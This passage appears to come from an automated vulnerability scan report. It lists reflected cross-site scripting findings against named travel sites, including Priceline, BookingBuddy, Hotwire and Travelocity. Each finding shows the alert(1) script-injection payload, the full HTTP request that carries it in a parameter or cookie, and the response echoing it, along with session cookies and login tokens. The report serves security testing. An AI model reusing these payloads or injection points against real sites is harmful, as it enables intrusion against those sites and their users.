Cookie: Stick2=ID=0%7CB%7C11%2F10%2F2011+16%3A53; Referral=SOURCEID=PL&PRODUCTID=&WEBENTRYTIME=11%2F10%2F2011+16%3A53%3A28&ID=FARECAST&CLICKID=FDC%5FAIRSEARCH; vsch=v20111110215328921bd022%5F86719894; vid=v20111110215328921bd022; SITESERVER=ID=bf049cba906144f4ad9961ab6fcbc674; PSessKey=6F1410AC701410AC20111110215334492c91305482; CJK=5663010a5764010a20111110215348ce5010773649; __utma=137358961.2047494711.1320962016.1320962016.1320962016.1; __utmb=137358961.2.10.1320962016; __utmc=137358961; __utmz=137358961.1320962016.1.1.utmcsr=bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/travel/flights; WT_FPC=id=290adf770e0880aab941320965614204:lv=1320965683991:ss=1320965614204

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 22:03:51 GMT
Server: Apache
Set-Cookie: PSessKey=; Domain=.priceline.com; Path=/
Set-Cookie: JSessionKey=; Domain=.priceline.com; Path=/
Set-Cookie: JSessionKey=721510ac5064010a2011111022035109d021609016; Domain=.priceline.com; Path=/
Set-Cookie: JSESSIONID=725514FF16A51065957D8045C55CABC0; Path=/airlines
Vary: Accept-Encoding
Content-Length: 354123
Content-Type: text/html;;charset=iso-8859-1


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd
...[SNIP]...
<a href="?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pclnd3014"><script>alert(1)</script>ea26b526385&jarmkey=5663010A5863010AzCfC77qHUk6Rk%3Dy7V8CHJC2399&INIT_SESSION=true&dbg=7AE646C14E31CDBCB525CD073163200BE949002942E36992FCE03AB60D7380F0D529F3D50FE02398F1BB68628305992C473EE27DCCC0519D5C864852C3625
...[SNIP]...

2.7. http://travelb.priceline.com/airlines/fareResults.do [session_key parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://travelb.priceline.com
Path:   /airlines/fareResults.do

Issue detail

The value of the session_key request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 79bca"><script>alert(1)</script>f99f42f4cdd was submitted in the session_key parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /airlines/fareResults.do?session_key=6F1410AC701410AC20111110215331132a9129620979bca"><script>alert(1)</script>f99f42f4cdd&plf=pcln&jarmkey=5663010A5863010AzCfC77qHUk6Rk%3Dy7V8CHJC2399&INIT_SESSION=true HTTP/1.1
Host: travelb.priceline.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://tickets.priceline.com/travel/airlines/lang/en-us/search.asp?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&path=bak
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Stick2=ID=0%7CB%7C11%2F10%2F2011+16%3A53; Referral=SOURCEID=PL&PRODUCTID=&WEBENTRYTIME=11%2F10%2F2011+16%3A53%3A28&ID=FARECAST&CLICKID=FDC%5FAIRSEARCH; vsch=v20111110215328921bd022%5F86719894; vid=v20111110215328921bd022; SITESERVER=ID=bf049cba906144f4ad9961ab6fcbc674; PSessKey=6F1410AC701410AC20111110215334492c91305482; CJK=5663010a5764010a20111110215348ce5010773649; __utma=137358961.2047494711.1320962016.1320962016.1320962016.1; __utmb=137358961.2.10.1320962016; __utmc=137358961; __utmz=137358961.1320962016.1.1.utmcsr=bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/travel/flights; WT_FPC=id=290adf770e0880aab941320965614204:lv=1320965683991:ss=1320965614204

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 22:03:44 GMT
Server: Apache
Set-Cookie: PSessKey=; Domain=.priceline.com; Path=/
Set-Cookie: JSessionKey=; Domain=.priceline.com; Path=/
Set-Cookie: JSessionKey=701410ac721510ac20111110220344092021603192; Domain=.priceline.com; Path=/
Set-Cookie: JSESSIONID=E4608B3478614065D3565B3B19383BC4; Path=/airlines
Vary: Accept-Encoding
Content-Length: 354123
Content-Type: text/html;;charset=iso-8859-1


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd
...[SNIP]...
<a href="?session_key=6F1410AC701410AC20111110215331132a9129620979bca"><script>alert(1)</script>f99f42f4cdd&plf=pcln&jarmkey=5663010A5863010AzCfC77qHUk6Rk%3Dy7V8CHJC2399&INIT_SESSION=true&dbg=C0DC7ECB6DB5173A7AE646C14E31CDBCE949002942E36992BCFD27507CAE6EAE648B32B1DF1E148617B0E119628AA42EFE6888D576E173A947DF
...[SNIP]...

2.8. http://www.bookingbuddy.com/ad_wrapper.php [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bookingbuddy.com
Path:   /ad_wrapper.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5f128'%3balert(1)//112f1586c56 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 5f128';alert(1)//112f1586c56 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /ad_wrapper.php?width=300&height=250&request=http%3A%2F%2Fad.doubleclick.net%2Fadj%2Fta.bb.com%2Fair%3Bawr%3Dnorth_america%3Baco%3Dunited_states%3Bast%3Dflorida%3Bact%3Dmiami%3Boct%3Dboston%3Baap%3Dmia%3Bost%3Dmassachusetts%3Bptag%3Dair_s%3Bowr%3Dnorth_america%3Boap%3Dbos%3Boco%3Dunited_states%3Bu%3D%7C%7C%7Cair%7Cnorth_america%7Cunited_states%7Cmassachusetts%7Cboston%7Cnorth_america%7Cunited_states%7Cflorida%7Cmiami%7C%3Bdcopt%3Dist%3Bsz%3D300x250%2C250x250%3Btile%3D1%3Bord%3D5925897/5f128'%3balert(1)//112f1586c560%3B HTTP/1.1
Host: www.bookingbuddy.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.bookingbuddy.com/tabsearches.php?search_mode=air&ctm=B1A1&source=bbs_farecast_flights_HP_unchecked-box-a_001&departure_city=BOS&departure_month=12+2011&departure_day=2&arrival_city=MIA&return_month=12+2011&return_day=4&search_type=roundtrip&num_travelers=1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uu=342f1075-803a-4f97-bbd8-8bcaf944f866; referrer=5031%3A%3A%3A%3A%3A%3A1320962015%3A%3A%3A%3A%3A%3Abbs_farecast_flights_HP_unchecked-box-a_001; ssource=%7B%22id%22%3A5031%2C%22unique_name%22%3A%22bbs_farecast_flights_HP_unchecked-box-a_001%22%2C%22type%22%3A%22traq%22%2C%22marketing_partner%22%3A%22bing_travel_farecast%22%7D; vid=4ebc47df2402b8.69944490; pb_bb_ab_bbs_2441=d3072f1517d3a88ad1ce21568174ea7aa%3A1%3A%7Bs%3A14%3A%22bb_ab_bbs_2441%22%3Bs%3A12%3A%22bbs_2441_old%22%3B%7D; pb_bb_ab_display_ad=ab27bdc55c84037164090e1899a80c45a%3A1%3A%7Bs%3A16%3A%22bb_ab_display_ad%22%3Bs%3A21%3A%22bb_display_ad_enabled%22%3B%7D; pb_bb_ab_bbs_1947_2nd_try=b3e74166b80fad88a242891d9bfddc3fa%3A1%3A%7Bs%3A22%3A%22bb_ab_bbs_1947_2nd_try%22%3Bs%3A27%3A%22bb_site_ad_service_recipe_b%22%3B%7D; BBP_Ads=%7B%22pop%22%3Anull%2C%22tab%22%3A%5B%22Expedia%22%2C%22Cheap+Air%22%2C%22Priceline%22%2C%22Kayak%22%2C%22CheapoAir%22%2C%22Travelocity%22%2C%22OneTravel.com%22%2C%22Orbitz%22%5D%7D; pb_bb_ab_bbs_2495=61d24c0ae7a1a3f14ab434d21ed73c5da%3A1%3A%7Bs%3A14%3A%22bb_ab_bbs_2495%22%3Bs%3A10%3A%22bbs_2495_a%22%3B%7D; criteo_data=12/02/201112/04/2011BOSMIA5031; bbSearches=%7B%22cs%22%3A%7B%22c1%22%3A%22BOS%22%2C%22c2%22%3A%22MIA%22%2C%22st%22%3A%22roundtrip%22%2C%22ntrv%22%3A%221%22%2C%22d1%22%3A1322805600000%2C%22d2%22%3A1322978400000%2C%22t1%22%3A%22anytime%22%2C%22t2%22%3A%22anytime%22%2C%22ns%22%3A%22%22%2C%22sc%22%3A%22economy_coach%22%7D%2C%22rs%22%3A%7B%22air%22%3A%5B%5D%2C%22hotel%22%3A%5B%5D%2C%22car%22%3A%5B%5D%2C%22vacation%22%3A%5B%5D%2C%22vacation_rental%22%3A%5B%5D%2C%22cruise%22%3A%5B%5D%2C%22holiday%22%3A%5B%5D%7D%7D; cstream=mcid%3A%3A13285%7C%7C%7Cttl%3A%3A1321566815

Response

HTTP/1.1 200 OK
Server: Apache
Vary: Accept-Encoding,User-Agent
Content-Type: text/html
Date: Thu, 10 Nov 2011 21:56:13 GMT
Content-Length: 1969
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
g=air_s;owr=north_america;oap=bos;oco=united_states;u=|||air|north_america|united_states|massachusetts|boston|north_america|united_states|florida|miami|;dcopt=ist;sz=300x250,250x250;tile=1;ord=5925897/5f128';alert(1)//112f1586c560;" type="text/javascript">
...[SNIP]...

2.9. http://www.bookingbuddy.com/ad_wrapper.php [request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bookingbuddy.com
Path:   /ad_wrapper.php

Issue detail

The value of the request request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4a98a'%3balert(1)//4d0a108bc17 was submitted in the request parameter. This input was echoed as 4a98a';alert(1)//4d0a108bc17 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /ad_wrapper.php?width=300&height=250&request=http%3A%2F%2Fad.doubleclick.net%2Fadj%2Fta.bb.com%2Fair%3Bawr%3Dnorth_america%3Baco%3Dunited_states%3Bast%3Dflorida%3Bact%3Dmiami%3Boct%3Dboston%3Baap%3Dmia%3Bost%3Dmassachusetts%3Bptag%3Dair_s%3Bowr%3Dnorth_america%3Boap%3Dbos%3Boco%3Dunited_states%3Bu%3D%7C%7C%7Cair%7Cnorth_america%7Cunited_states%7Cmassachusetts%7Cboston%7Cnorth_america%7Cunited_states%7Cflorida%7Cmiami%7C%3Bdcopt%3Dist%3Bsz%3D300x250%2C250x250%3Btile%3D1%3Bord%3D59258970%3B4a98a'%3balert(1)//4d0a108bc17 HTTP/1.1
Host: www.bookingbuddy.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.bookingbuddy.com/tabsearches.php?search_mode=air&ctm=B1A1&source=bbs_farecast_flights_HP_unchecked-box-a_001&departure_city=BOS&departure_month=12+2011&departure_day=2&arrival_city=MIA&return_month=12+2011&return_day=4&search_type=roundtrip&num_travelers=1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uu=342f1075-803a-4f97-bbd8-8bcaf944f866; referrer=5031%3A%3A%3A%3A%3A%3A1320962015%3A%3A%3A%3A%3A%3Abbs_farecast_flights_HP_unchecked-box-a_001; ssource=%7B%22id%22%3A5031%2C%22unique_name%22%3A%22bbs_farecast_flights_HP_unchecked-box-a_001%22%2C%22type%22%3A%22traq%22%2C%22marketing_partner%22%3A%22bing_travel_farecast%22%7D; vid=4ebc47df2402b8.69944490; pb_bb_ab_bbs_2441=d3072f1517d3a88ad1ce21568174ea7aa%3A1%3A%7Bs%3A14%3A%22bb_ab_bbs_2441%22%3Bs%3A12%3A%22bbs_2441_old%22%3B%7D; pb_bb_ab_display_ad=ab27bdc55c84037164090e1899a80c45a%3A1%3A%7Bs%3A16%3A%22bb_ab_display_ad%22%3Bs%3A21%3A%22bb_display_ad_enabled%22%3B%7D; pb_bb_ab_bbs_1947_2nd_try=b3e74166b80fad88a242891d9bfddc3fa%3A1%3A%7Bs%3A22%3A%22bb_ab_bbs_1947_2nd_try%22%3Bs%3A27%3A%22bb_site_ad_service_recipe_b%22%3B%7D; BBP_Ads=%7B%22pop%22%3Anull%2C%22tab%22%3A%5B%22Expedia%22%2C%22Cheap+Air%22%2C%22Priceline%22%2C%22Kayak%22%2C%22CheapoAir%22%2C%22Travelocity%22%2C%22OneTravel.com%22%2C%22Orbitz%22%5D%7D; pb_bb_ab_bbs_2495=61d24c0ae7a1a3f14ab434d21ed73c5da%3A1%3A%7Bs%3A14%3A%22bb_ab_bbs_2495%22%3Bs%3A10%3A%22bbs_2495_a%22%3B%7D; criteo_data=12/02/201112/04/2011BOSMIA5031; bbSearches=%7B%22cs%22%3A%7B%22c1%22%3A%22BOS%22%2C%22c2%22%3A%22MIA%22%2C%22st%22%3A%22roundtrip%22%2C%22ntrv%22%3A%221%22%2C%22d1%22%3A1322805600000%2C%22d2%22%3A1322978400000%2C%22t1%22%3A%22anytime%22%2C%22t2%22%3A%22anytime%22%2C%22ns%22%3A%22%22%2C%22sc%22%3A%22economy_coach%22%7D%2C%22rs%22%3A%7B%22air%22%3A%5B%5D%2C%22hotel%22%3A%5B%5D%2C%22car%22%3A%5B%5D%2C%22vacation%22%3A%5B%5D%2C%22vacation_rental%22%3A%5B%5D%2C%22cruise%22%3A%5B%5D%2C%22holiday%22%3A%5B%5D%7D%7D; cstream=mcid%3A%3A13285%7C%7C%7Cttl%3A%3A1321566815

Response

HTTP/1.1 200 OK
Server: Apache
Vary: Accept-Encoding,User-Agent
Content-Type: text/html
Date: Thu, 10 Nov 2011 21:55:29 GMT
Content-Length: 1968
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
=air_s;owr=north_america;oap=bos;oco=united_states;u=|||air|north_america|united_states|massachusetts|boston|north_america|united_states|florida|miami|;dcopt=ist;sz=300x250,250x250;tile=1;ord=59258970;4a98a';alert(1)//4d0a108bc17" type="text/javascript">
...[SNIP]...

2.10. http://www.hotwire.com/air/results.jsp [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.hotwire.com
Path:   /air/results.jsp

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 54193"-alert(1)-"563d1bf1b1b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /air54193"-alert(1)-"563d1bf1b1b/results.jsp?actionType=999&isAjaxRequest=true&pageDef=tiles-def.air.results&rerender=A1&rerender=A2&rerender=A3&rerender=A4&rerender=A5&rerender=A8&rerender=B2&rerender=B3&rerender=B4&rerender=headline&rerender=toppageErrors&rerender=results&rerender=disclaimer&rerender=dhtml&rerender=backToOriginalLinkTop&rerender=backToOriginalLinkBottom HTTP/1.1
Host: www.hotwire.com
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: */*
Referer: http://www.hotwire.com/air/results.jsp?searchTokenId=1&backButtonInputId=air-index
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=8ABAB9B20359272EF267EE99BC92C535; SaneID=8ABAB9B20359272EF267EE99BC92C53; hotwireLogin=V4XFi9mFuQsCCPy6V/qhrdIccYJFHrJxloNL+OGc4tZkfjnIHGhTi7ltrG1IPXfIeO+uyJQdNdBMLRhhG2FHTMgXg79d4ve0wj4co6fHPBw/6XrC+I2V0VAJjgDrxtP6UCZQAzRZKNmqg6s3BNNiMzoqSlE+9QLVq8LlP5r5sVC9LqYt6r1WejbBqGtX4/QeMydTsx5XDmME0qOPB8zW5aGoplccEyUVyAQw1zoB77fdKkw2wifeN3QXc3uxCTtpmp1Xbz0DxcS4cKS1iGZ7tDS9ulFNeBvx/qJTKhJwy7rJEih5XSyT1Fco8d5rZFOYJfrLMMzpj5kMJEILR9qBNRDl+42pRMtKzavwDRm7Zn4S+YVpyXk9PjDFsc8boH4pNL/i/1SO3SnXZq06Bmb1cMu94wvBIzddV6cWSVnTSkb6zEWjyhKcj/R/L14UAfRNxKLA1dwarM4dx9zfvTJdnTQ5OD8cXu1QsRQx6bhBdHgkaVvI7Yv0CzgZubBDGYZ2py/gVN6nUboAKdWWhnH1+SCb4zGbUyOIkF4m3Q5L+mHwtRpnviW5iB6TzG4qM3vCGJzuO/q61vTeJmSjVVzx75u8crr6cftWqHj6w1ad2e3Pf5CFEtJtPeidw2FziNaUnrZUO8Dg4khW7hU9cY7J7fKZ4GRKCUFiaqRBwocDhg2nL+BU3qdRuu3nLjE0iKGkecN3QDSwuy2hpe08Csu2fupUbvdFv0Cs+iPYTYOKXR36I9hNg4pdHfoj2E2Dil0d+iPYTYOKXR36I9hNg4pdHZkXMwFjN5//GfFEXccZLnRe4HTJo0i26foj2E2Dil0d+iPYTYOKXR0A/je7yzDiYxzOTLmW6hAr+iPYTYOKXR1PInMvNwnP4qWAQ5Fqf/sURmHo2YOoPtSM+3JgIIVvgfoj2E2Dil0dfPSXg9UVFkdonRAnD1CzZSScdfGLoqChRdyjkfXmqOcml0c5X6k8GJajsUKRNqS+Ouz/Wdyu4BqKlqjo3JeIwqrZeEv6z+6NkVbI7P1I/pc=; NSC_qspe-xxx-qfstjtu=ffffffffaf131c0b45525d5f4f58455e445a4a422d6d; hotwirePageModuleState=pgoodCode=A&searchTokenId=1; hwAnalytics_previousPageName=air.results

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Cache-control: no-store, no-cache, private, must-revalidate
Content-Type: text/html;charset=UTF-8
Date: Thu, 10 Nov 2011 21:58:51 GMT
Content-Length: 57212


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">


<html>
<head>
<meta http-equiv="Content-Language" content="en-us"/>
<meta
...[SNIP]...
<script>
window.serverSideGlobalPassThrough = {//Dynamically write out browser information from the server...
pageTileDefinition: "/jsp/air54193"-alert(1)-"563d1bf1b1b/results.jsp",
partnerReferral:false,
dateFormat:"MM/dd/yy",
dateFormatMonthNames:["January","February","March","April","May","June","July","August","September","October","Novem
...[SNIP]...

2.11. http://travel.travelocity.com/flights/InitialSearch.do [tyrg1st cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://travel.travelocity.com
Path:   /flights/InitialSearch.do

Issue detail

The value of the tyrg1st cookie is copied into an HTML comment. The payload 12771--><script>alert(1)</script>69a5aac80a6 was submitted in the tyrg1st cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /flights/InitialSearch.do?Service=TRAVELOCITY&flightType=roundtrip&dateTypeSelect=exactDates&dateLeavingTime=Anytime&dateReturningTime=Anytime&adults=1&children=0&seniors=0&leavingDate=12%2F2%2F2011&returningDate=12%2F4%2F2011&leavingFrom=BOS&goingTo=MIA&WA1=03010&WA2=bingtravel.com&WA5=trave_flight_presearch_checkbox_|u&WA6=air HTTP/1.1
Host: travel.travelocity.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: */*
Referer: http://travel.travelocity.com/flights/InitialSearch.do?Service=TRAVELOCITY&flightType=roundtrip&dateTypeSelect=exactDates&dateLeavingTime=Anytime&dateReturningTime=Anytime&adults=1&children=0&seniors=0&leavingDate=12%2F2%2F2011&returningDate=12%2F4%2F2011&leavingFrom=BOS&goingTo=MIA&WA1=03010&WA2=bingtravel.com&WA5=trave_flight_presearch_checkbox_|u&WA6=air
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tyrg1st=333E8418B772166C12771--><script>alert(1)</script>69a5aac80a6; JSID=3BDAD8821C840729BC4E28B4A5184BA6.p0618; TUID=bdfffb11-5e22-494f-b642-f0b9f36a3556; Service=TRAVELOCITY; SID=T000V00000X111110155329158039359453652; pcookie=n; mbox=check#true#1320962071|session#1320962010545-896769#1320963871

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:55:17 GMT
Server: Apache
Set-Cookie: JSID=1B2ABDDDD004D8CA13EDDE60B4C18F9C.p0600; Domain=.travelocity.com; Path=/
Set-Cookie: Service=TRAVELOCITY; Domain=.travelocity.com; Path=/
Vary: Accept-Encoding
Content-Length: 72692
Connection: close
Content-Type: text/html;charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<head>
<link rel="icon" href="/favicon.ico"/>
<link rel="shortcut icon" hre
...[SNIP]...
<!--
JSESSIONID = 1B2ABDDDD004D8CA13EDDE60B4C18F9C.p0600
TPSESSIONID = null
Service = TRAVELOCITY
TYRG1ST = 333E8418B772166C12771--><script>alert(1)</script>69a5aac80a6
-->
...[SNIP]...

2.12. http://travel.travelocity.com/flights/SavedSearch.do [tyrg1st cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://travel.travelocity.com
Path:   /flights/SavedSearch.do

Issue detail

The value of the tyrg1st cookie is copied into an HTML comment. The payload daf79--><script>alert(1)</script>15609e64c08 was submitted in the tyrg1st cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /flights/SavedSearch.do;jsessionid=3BDAD8821C840729BC4E28B4A5184BA6.p0618?operation=read&lob=AIR&_=1320962017854 HTTP/1.1
Host: travel.travelocity.com
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: */*
Referer: http://travel.travelocity.com/flights/InitialSearch.do?Service=TRAVELOCITY&flightType=roundtrip&dateTypeSelect=exactDates&dateLeavingTime=Anytime&dateReturningTime=Anytime&adults=1&children=0&seniors=0&leavingDate=12%2F2%2F2011&returningDate=12%2F4%2F2011&leavingFrom=BOS&goingTo=MIA&WA1=03010&WA2=bingtravel.com&WA5=trave_flight_presearch_checkbox_|u&WA6=air
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tyrg1st=333E8418B772166Cdaf79--><script>alert(1)</script>15609e64c08; TUID=bdfffb11-5e22-494f-b642-f0b9f36a3556; SID=T000V00000X111110155329158039359453652; pcookie=n; JSID=CDFC991E7BEF753CB1F6902F0A3D9288.p0616; Service=TRAVELOCITY; mbox=check#true#1320962071|session#1320962010545-896769#1320963871|PC#1320962010545-896769.19#1322171617

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:54:50 GMT
Server: Apache
Set-Cookie: JSID=7742EE2A52EB6FFFCEE0CBD7A4666F58.p0258; Domain=.travelocity.com; Path=/
Set-Cookie: Service=TRAVELOCITY; Domain=.travelocity.com; Path=/
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 67849

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<head>
<link rel="icon" href="/favicon.ico"/>
<link rel="shortcut icon" hre
...[SNIP]...
<!--
JSESSIONID = 7742EE2A52EB6FFFCEE0CBD7A4666F58.p0258
TPSESSIONID = null
Service = TRAVELOCITY
TYRG1ST = 333E8418B772166Cdaf79--><script>alert(1)</script>15609e64c08
-->
...[SNIP]...

2.13. http://travelb.priceline.com/airlines/fareResults.do [Referral cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://travelb.priceline.com
Path:   /airlines/fareResults.do

Issue detail

The value of the Referral cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dc858'%3balert(1)//afd933d6e31 was submitted in the Referral cookie. This input was echoed as dc858';alert(1)//afd933d6e31 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /airlines/fareResults.do?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&jarmkey=5663010A5863010AzCfC77qHUk6Rk%3Dy7V8CHJC2399&INIT_SESSION=true HTTP/1.1
Host: travelb.priceline.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://tickets.priceline.com/travel/airlines/lang/en-us/search.asp?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&path=bak
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Stick2=ID=0%7CB%7C11%2F10%2F2011+16%3A53; Referral=SOURCEID=PL&PRODUCTID=&WEBENTRYTIME=11%2F10%2F2011+16%3A53%3A28&ID=FARECAST&CLICKID=FDC%5FAIRSEARCHdc858'%3balert(1)//afd933d6e31; vsch=v20111110215328921bd022%5F86719894; vid=v20111110215328921bd022; SITESERVER=ID=bf049cba906144f4ad9961ab6fcbc674; PSessKey=6F1410AC701410AC20111110215334492c91305482; CJK=5663010a5764010a20111110215348ce5010773649; __utma=137358961.2047494711.1320962016.1320962016.1320962016.1; __utmb=137358961.2.10.1320962016; __utmc=137358961; __utmz=137358961.1320962016.1.1.utmcsr=bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/travel/flights; WT_FPC=id=290adf770e0880aab941320965614204:lv=1320965683991:ss=1320965614204

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 22:04:24 GMT
Server: Apache
Set-Cookie: PSessKey=; Domain=.priceline.com; Path=/
Set-Cookie: JSessionKey=; Domain=.priceline.com; Path=/
Set-Cookie: JSessionKey=711510ac701410ac201111102204240df021602216; Domain=.priceline.com; Path=/
Vary: Accept-Encoding
Content-Length: 355260
Content-Type: text/html;;charset=iso-8859-1


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd
...[SNIP]...
+ nSeniors;
